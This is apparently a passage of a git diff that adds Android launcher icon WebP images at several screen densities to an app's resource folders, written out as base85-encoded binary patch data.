zxwJx!ZClUi%YJjD6Xz@OP8{ieyJB=tn?>zaI-4JN;rr`JQbb%y5h2O-?_V@7pG_+y z(lqAsqYr!NyVb0C^|uclHaeecG)Sz;WV?rtoqOdAAN{j%?Uo%owya(F&qps@Id|Of zo@~Y-(YmfB+chv^%*3g4k3R0WqvuYUIA+8^SGJ{2Bl$X&X&v02>+0$4?di(34{pt* zG=f#yMs@Y|b&=HyH3k4yP&goF2LJ#tBLJNNDo6lG06r}ghC-pC4Q*=x3;|+W04zte zAl>l4kzUBQFYF(E`KJy?ZXd1tnfbH+Z~SMmA21KokJNs#eqcXWKUIC>{TuoKe^vhF z);H)o`t9j~`$h1D`#bxe@E`oE`cM9w(@)5Bp8BNukIwM>wZHfd0S;5bcXA*5KT3bj zc&_~`&{z7u{Et!Z_k78H75gXf4g8<_ul!H$eVspPeU3j&&Au=2R*Zp#M9$9s;fqwgzfiX=E_?BwVcfx3tG9Q-+<5fw z%Hs64z)@Q*%s3_Xd5>S4dg$s>@rN^ixeVj*tqu3ZV)biDcFf&l?lGwsa zWj3rvK}?43c{IruV2L`hUU0t^MemAn3U~x3$4mFDxj=Byowu^Q+#wKRPrWywLjIAp z9*n}eQ9-gZmnd9Y0WHtwi2sn6n~?i#n9VN1B*074_VbZZ=WrpkMYr{RsI ztM_8X1)J*DZejxkjOTRJ&a*lrvMKBQURNP#K)a5wIitfu(CFYV4FT?LUB$jVwJSZz zNBFTWg->Yk0j&h3e*a5>B=-xM7dE`IuOQna!u$OoxLlE;WdrNlN)1 z7**de7-hZ!(%_ZllHBLg`Ir#|t>2$*xVOZ-ADZKTN?{(NUeLU9GbuG-+Axf*AZ-P1 z0ZZ*fx+ck4{XtFsbcc%GRStht@q!m*ImssGwuK+P@%gEK!f5dHymg<9nSCXsB6 zQ*{<`%^bxB($Z@5286^-A(tR;r+p7B%^%$N5h%lb*Vlz-?DL9x;!j<5>~kmXP$E}m zQV|7uv4SwFs0jUervsxVUm>&9Y3DBIzc1XW|CUZrUdb<&{@D5yuLe%Xniw^x&{A2s z0q1+owDSfc3Gs?ht;3jw49c#mmrViUfX-yvc_B*wY|Lo7; zGh!t2R#BHx{1wFXReX*~`NS-LpSX z#TV*miO^~B9PF%O0huw!1Zv>^d0G3$^8dsC6VI!$oKDKiXdJt{mGkyA`+Gwd4D-^1qtNTUK)`N*=NTG-6}=5k6suNfdLt*dt8D| z%H#$k)z#ZRcf|zDWB|pn<3+7Nz>?WW9WdkO5(a^m+D4WRJ9{wc>Y}IN)2Kbgn;_O? zGqdr&9~|$Y0tP=N(k7^Eu;iO*w+f%W`20BNo)=Xa@M_)+o$4LXJyiw{F?a633SC{B zl~9FH%?^Rm*LVz`lkULs)%idDX^O)SxQol(3jDRyBVR!7d`;ar+D7do)jQ}m`g$TevUD5@?*P8)voa?kEe@_hl{_h8j&5eB-5FrYW&*FHVt$ z$kRF9Nstj%KRzpjdd_9wO=4zO8ritN*NPk_9avYrsF(!4))tm{Ga#OY z(r{0buexOzu7+rw8E08Gxd`LTOID{*AC1m*6Nw@osfB%0oBF5sf<~wH1kL;sd zo)k6^VyRFU`)dt*iX^9&QtWbo6yE8XXH?`ztvpiOLgI3R+=MOBQ9=rMVgi<*CU%+d1PQQ0a1U=&b0vkF207%xU0ssI2 literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-mdpi/ic_launcher.webp new file mode 100644 index 0000000000000000000000000000000000000000..4f0f1d64e58ba64d180ce43ee13bf9a17835fbca GIT binary patch literal 982 zcmV;{11bDcNk&G_0{{S5MM6+kP&il$0000G0000l001ul06|PpNU8t;00Dqo+t#w^ z^1csucXz7-Qrhzl9HuHB%l>&>1tG2^vb*E&k^T3$FG1eQZ51g$uv4V+kI`0<^1Z@N zk?Jjh$olyC%l>)Xq;7!>{iBj&BjJ`P&$fsCfpve_epJOBkTF?nu-B7D!hO=2ZR}

C%4 zc_9eOXvPbC4kzU8YowIA8cW~Uv|eB&yYwAObSwL2vY~UYI7NXPvf3b+c^?wcs~_t{ ze_m66-0)^{JdOMKPwjpQ@Sna!*?$wTZ~su*tNv7o!gXT!GRgivP}ec?5>l1!7<(rT zds|8x(qGc673zrvYIz;J23FG{9nHMnAuP}NpAED^laz3mAN1sy+NXK)!6v1FxQ;lh zOBLA>$~P3r4b*NcqR;y6pwyhZ3_PiDb|%n1gGjl3ZU}ujInlP{eks-#oA6>rh&g+!f`hv#_%JrgYPu z(U^&XLW^QX7F9Z*SRPpQl{B%x)_AMp^}_v~?j7 zapvHMKxSf*Mtyx8I}-<*UGn3)oHd(nn=)BZ`d$lDBwq_GL($_TPaS{UeevT(AJ`p0 z9%+hQb6z)U9qjbuXjg|dExCLjpS8$VKQ55VsIC%@{N5t{NsW)=hNGI`J=x97_kbz@ E0Of=7!TQj4N+cqN`nQhxvX7dAV-`K|Ub$-q+H-5I?Tx0g9jWxd@A|?POE8`3b8fO$T))xP* z(X?&brZw({`)WU&rdAs1iTa0x6F@PIxJ&&L|dpySV!ID|iUhjCcKz(@mE z!x@~W#3H<)4Ae(4eQJRk`Iz3<1)6^m)0b_4_TRZ+cz#eD3f8V;2r-1fE!F}W zEi0MEkTTx}8i1{`l_6vo0(Vuh0HD$I4SjZ=?^?k82R51bC)2D_{y8mi_?X^=U?2|F{Vr7s!k(AZC$O#ZMyavHhlQ7 zUR~QXuH~#o#>(b$u4?s~HLF*3IcF7023AlwAYudn0FV~|odGH^05AYPEfR)8p`i{n zwg3zPVp{+wOsxKc>)(pMupKF!Y2HoUqQ3|Yu|8lwR=?5zZuhG6J?H`bSNk_wPoM{u zSL{c@pY7+c2kck>`^q1^^gR0QB7Y?KUD{vz-uVX~;V-rW)PDcI)$_UjgVV?S?=oLR zf4}zz{#*R_{LkiJ#0RdQLNC^2Vp%JPEUvG9ra2BVZ92(p9h7Ka@!yf9(lj#}>+|u* z;^_?KWdzkM`6gqPo9;;r6&JEa)}R3X{(CWv?NvgLeOTq$cZXqf7|sPImi-7cS8DCN zGf;DVt3Am`>hH3{4-WzH43Ftx)SofNe^-#|0HdCo<+8Qs!}TZP{HH8~z5n`ExcHuT zDL1m&|DVpIy=xsLO>8k92HcmfSKhflQ0H~9=^-{#!I1g(;+44xw~=* zxvNz35vfsQE)@)Zsp*6_GjYD};Squ83<_?^SbALb{a`j<0Gn%6JY!zhp=Fg}Ga2|8 z52e1WU%^L1}15Ex0fF$e@eCT(()_P zvV?CA%#Sy08_U6VPt4EtmVQraWJX` zh=N|WQ>LgrvF~R&qOfB$!%D3cGv?;Xh_z$z7k&s4N)$WYf*k=|*jCEkO19{h_(%W4 zPuOqbCw`SeAX*R}UUsbVsgtuG?xs(#Ikx9`JZoQFz0n*7ZG@Fv@kZk`gzO$HoA9kN z8U5{-yY zvV{`&WKU2$mZeoBmiJrEdzUZAv1sRxpePdg1)F*X^Y)zp^Y*R;;z~vOv-z&)&G)JQ{m!C9cmziu1^nHA z`#`0c>@PnQ9CJKgC5NjJD8HM3|KC(g5nnCq$n0Gsu_DXk36@ql%npEye|?%RmG)

FJ$wK}0tWNB{uH;AM~i literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher.webp new file mode 100644 index 0000000000000000000000000000000000000000..948a3070fe34c611c42c0d3ad3013a0dce358be0 GIT binary patch literal 1900 zcmV-y2b1_xNk&Fw2LJ$9MM6+kP&il$0000G0001A003VA06|PpNH75a00DqwTbm-~ zullQTcXxO9ki!OCRx^i?oR|n!<8G0=kI^!JSjFi-LL*`V;ET0H2IXfU0*i>o6o6Gy zRq6Ap5(_{XLdXcL-MzlN`ugSdZY_`jXhcENAu)N_0?GhF))9R;E`!bo9p?g?SRgw_ zEXHhFG$0{qYOqhdX<(wE4N@es3VIo$%il%6xP9gjiBri+2pI6aY4 zJbgh-Ud|V%3O!IcHKQx1FQH(_*TK;1>FQWbt^$K1zNn^cczkBs=QHCYZ8b&l!UV{K z{L0$KCf_&KR^}&2Fe|L&?1I7~pBENnCtCuH3sjcx6$c zwqkNkru);ie``q+_QI;IYLD9OV0ZxkuyBz|5<$1BH|vtey$> z5oto4=l-R-Aaq`Dk0}o9N0VrkqW_#;!u{!bJLDq%0092{Ghe=F;(kn} z+sQ@1=UlX30+2nWjkL$B^b!H2^QYO@iFc0{(-~yXj2TWz?VG{v`Jg zg}WyYnwGgn>{HFaG7E~pt=)sOO}*yd(UU-D(E&x{xKEl6OcU?pl)K%#U$dn1mDF19 zSw@l8G!GNFB3c3VVK0?uyqN&utT-D5%NM4g-3@Sii9tSXKtwce~uF zS&Jn746EW^wV~8zdQ1XC28~kXu8+Yo9p!<8h&(Q({J*4DBglPdpe4M_mD8AguZFn~ ztiuO~{6Bx?SfO~_ZV(GIboeR9~hAym{{fV|VM=77MxDrbW6`ujX z<3HF(>Zr;#*uCvC*bpoSr~C$h?_%nXps@A)=l_;({Fo#6Y1+Zv`!T5HB+)#^-Ud_; zBwftPN=d8Vx)*O1Mj+0oO=mZ+NVH*ptNDC-&zZ7Hwho6UQ#l-yNvc0Cm+2$$6YUk2D2t#vdZX-u3>-Be1u9gtTBiMB^xwWQ_rgvGpZ6(C@e23c!^K=>ai-Rqu zhqT`ZQof;9Bu!AD(i^PCbYV%yha9zuoKMp`U^z;3!+&d@Hud&_iy!O-$b9ZLcSRh? z)R|826w}TU!J#X6P%@Zh=La$I6zXa#h!B;{qfug}O%z@K{EZECu6zl)7CiNi%xti0 zB{OKfAj83~iJvmpTU|&q1^?^cIMn2RQ?jeSB95l}{DrEPTW{_gmU_pqTc)h@4T>~& zluq3)GM=xa(#^VU5}@FNqpc$?#SbVsX!~RH*5p0p@w z;~v{QMX0^bFT1!cXGM8K9FP+=9~-d~#TK#ZE{4umGT=;dfvWi?rYj;^l_Zxywze`W z^Cr{55U@*BalS}K%Czii_80e0#0#Zkhlij4-~I@}`-JFJ7$5{>LnoJSs??J8kWVl6|8A}RCGAu9^rAsfCE=2}tHwl93t0C?#+jMpvr7O3`2=tr{Hg$=HlnjVG^ewm|Js0J*kfPa6*GhtB>`fN!m#9J(sU!?(OSfzY*zS(FJ<-Vb zfAIg+`U)YaXv#sY(c--|X zEB+TVyZ%Ie4L$gi#Fc++`h6%vzsS$pjz9aLt+ZL(g;n$Dzy5=m=_TV(3H8^C{r0xd zp#a%}ht55dOq?yhwYPrtp-m1xXp;4X;)NhxxUpgP%XTLmO zcjaFva^}dP3$&sfFTIR_jC=2pHh9kpI@2(6V*GQo7Ws)`j)hd+tr@P~gR*2gO@+1? zG<`_tB+LJuF|SZ9tIec;h%}}6WClT`L>HSW?E{Hp1h^+mlbf_$9zA>!ug>NALJsO{ mU%z=YwVD?}XMya)Bp;vlyE5&E_6!fzx9pwrdz474!~g(M6R?N? literal 0 HcmV?d00001 diff --git a/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/source code/apk src code v3/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp new file mode 100644 index 0000000000000000000000000000000000000000..1b9a6956b3acdc11f40ce2bb3f6efbd845cc243f GIT binary patch literal 3918 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�(p-{x$&=IACIfoAR!za)F-^da-t3#0Dycnp zwO~NVXwXCl;jE<}>%@xz|=8fIJAB?>+E{7)|4l${4ngA3G|=r z2Dyv;VVWSgZx9Wj>qUjleGl3Ei9K4>h!(lPS%8VOG>Xu0%6VDz^O=bjJmuP7>DeUv zrbI}MlHB^^d?{zv6d=@_ZD2lg1&G7UjnVN{1}9WkaM3H~btX0GtSzB+tZ^qRgWo4m z!GmimlG$=wgXCnr6j@m<1gAL46#T~5Bnm=2{^@>|t&`9mkEPddj zAvG~@Tv~TAm2i%VW}R-g(Z0)z-Y|szHr@rk>4MAyG*Ma*7Yh#H7(!-5>DZ@8r;_dx 